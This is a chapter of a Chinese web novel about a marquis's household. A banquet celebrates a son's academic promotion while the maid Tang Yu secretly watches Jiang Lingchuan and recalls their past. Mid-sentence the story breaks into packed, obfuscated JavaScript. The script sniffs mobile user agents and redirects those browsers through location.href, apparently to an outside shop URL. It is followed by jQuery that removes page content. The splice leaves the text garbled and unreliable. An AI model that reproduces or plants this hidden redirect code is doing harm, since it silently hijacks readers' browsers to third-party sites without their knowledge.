自杨令薇离去后，杨家与侯府之间那桩亲事，便陷入了一种心照不宣的沉寂。
老夫人心下已倾向于作罢。
无奈侯爷此刻远在镇江，正督办今年水师战船的油修保养事宜。
此事又事关重大，一时半刻无法回京亲自定夺。
她虽是一家老祖宗，但涉及嫡子婚事与两姓联姻，终究不好独自拍板。
只得将一切与杨家相关的议亲事宜暂且搁置，束之高阁。
除了正房里的孟氏，还与杨家夫人偶有礼节性的书信往来。
江凌川的亲事便如同被遗忘一般，在侯府内部再无人主动提起。
这般略显凝滞的气氛持续了几日，终被国子监传来的一则好消息打破。
侯府三爷江惊羽，以拔群的优异成绩，从“附学生”一举擢升为“廪膳生”。
这“廪膳生”非同小可。
附学生只是取得在国子监读书的资格，而廪膳生则意味着他已是监内佼佼者。
不仅能享受朝廷每月发放的粮米津贴，更是获得了未来考取“拔贡”、“举人”等更高功名的坚实基础与优先资格。
堪称仕途上的一块重要跳板。
消息传来，孟氏喜出望外。
连日来因杨家之事而生的烦闷顿时一扫而空，整个人都焕发出光彩。
她接到信儿的当日，便开始兴致勃勃地筹备。
要为儿子操办一场庆贺的“志学宴”。
老夫人虽对孟氏当前只顾三子前程，对江凌川的亲事几乎撒手不管的态度微有不满。
但听闻孙辈如此出息，江家文脉有望光耀门楣，心下也是老怀大慰，颇为自得。
一时间，侯府上下的阴霾被这股喜气冲淡了不少，下人们脸上也都带了几分与有荣焉的笑意。
孟氏虽有心大肆庆祝一番，但念及侯爷不在府中，太过张扬恐惹人议论。
便想着先办一场小型的风雅清宴，只邀请些亲近的师长、同窗及府内亲眷，重在庆贺而非排场。
虽是小办，孟氏的重视程度却半分不减。
从宴席的场地布置、菜式的精致搭配、酒水的遴选，到所用器皿的雅致考究。
乃至下人伺候的进退规矩，她事事都要亲自过问。
要求菜要“精”而不必“奢”，器要“雅”而不必“贵”，人要“静”而“有序”。
条条框框梳理下来，直弄得正房里专管内务的安嬷嬷并一众大丫鬟暗暗叫苦，忙得脚不沾地。
好在唐玉如今已是福安堂的人，且得老夫人明言“静养为主，不必劳作”。
安嬷嬷等总管嬷嬷的手也伸不到她这里。
她此次的差事颇为清简。
宴席设在后园临水的敞轩。
老夫人届时会在此稍坐，用一套她出自名家之手的紫砂壶具品茶。
唐玉只需在宴前与宴中，于敞轩侧后方隔出的小茶室内，妥帖照看好这套名贵壶具，确保万无一失即可。
志学宴当日，春光晴好。
宴席由世子爷江岱宗主持。
在前厅正堂款待父亲在京的同僚、国子监的师长以及江惊羽的几位得意同窗。
气氛庄重而热络。
唐玉则早早在敞轩后侧辟出的静室中安顿下来。
室内陈设清雅，窗明几净。
那套紫泥润泽、造型古雅的紫砂壶具已被恭敬地请出，置于铺着柔软锦缎的托盘上。
她只需在此静候。
不多时，宴前仪式告一段落。
老夫人由丫鬟搀扶着，在主要宾客的簇拥下，缓步来到敞轩小憩。
她对几位德高望重的恩师和主要宾客再次表示欢迎与感谢。
说了几句“孙儿愚钝，能得今日，全赖诸位先生不弃教诲”的谦辞客套话，姿态雍容而亲切。
菀青早已候在一旁，见老夫人落座，便上前准备用那套紫砂壶具烹茶。
恰在此时，屏风另一侧传来清越的琴音
是四小姐江晚吟应景为宾客抚琴助兴。
琴声泠泠，如松间风、石上泉。
众人不由得敛声静气，侧耳倾听。
就在这片宁静雅致的氛围中。
趁着所有人的注意力都被琴声与主位吸引。
唐玉才敢将目光穿过半透的湘妃竹屏风缝隙。
看向那个她无比熟悉的身影。
江凌川今日坐在三爷江惊羽的对面，世子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234620|197658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下首的次陪席位。
他整个人被竹影与屏风半遮半掩住。
从她这个角度望去，只能看到他墨蓝色云纹锦袍的一角袖口。
以及那双随意搭在扶手上、骨节分明而修长的手。
那双手，指节匀称。
肤色是久经日光与风霜的浅蜜色，带着习武之人特有的力量感与粗粝纹路。
她看着那双手，记忆的潮水不受控制地翻涌上来。
就是这双手，曾为她挡下过责难的戒尺；
也曾毫不留情地扣着她的下巴，迫使她抬头；
曾抹着药油为她揉搓膝盖上的瘀血；
也曾紧扣出她的脖颈，露出嗜血的杀意；
更曾在无数个隐秘而亲密的夜晚。
带着薄茧与热度，抚过她身体的柔软，激起她压抑的战栗……
那只手突然微微动作，手指轻轻蜷起。
唐玉赶忙收回眼神。
心悸之下，她不由得唏嘘。
如今，也唯有在这无人注意的短暂空隙里。
她才敢如此放肆的，让目光和思绪为他停留一瞬了。
唐玉轻轻泄出一口气。
她正垂眸敛息，暗自平复心绪。
那边菀青已利落地为老夫人泡好了头道茶。
奉茶毕，菀青环顾四周。
见其他丫鬟各有职司，只有唐玉静立一旁，便轻步走了过来。
压低声音歉然道：
“文玉，劳烦你跑一趟。我方才忙着伺候，竟忘了将新收的，用来煮泉水的竹沥取来。”
“东西就在我屋里靠窗的螺钿小匣里，烦你快去取来，老夫人等会儿品第二道茶时要用。”
唐玉闻言，立刻颔首应下：
“是，我这就去。”
她朝老夫人方向微一屈膝。
便转身悄然退出了敞轩侧门，沿着回廊快步朝丫鬟们居住的后院方向走去。
她步履匆匆，心中只惦记着差事，并未回头。
敞轩内，那个原本端坐于次陪席位的男人，眸光轻移。
随即，他放下茶盏，对身旁正与师长交谈的世子低语了一句什么，便也从容起身。
朝着另一侧廊道，不疾不徐地踱步而去。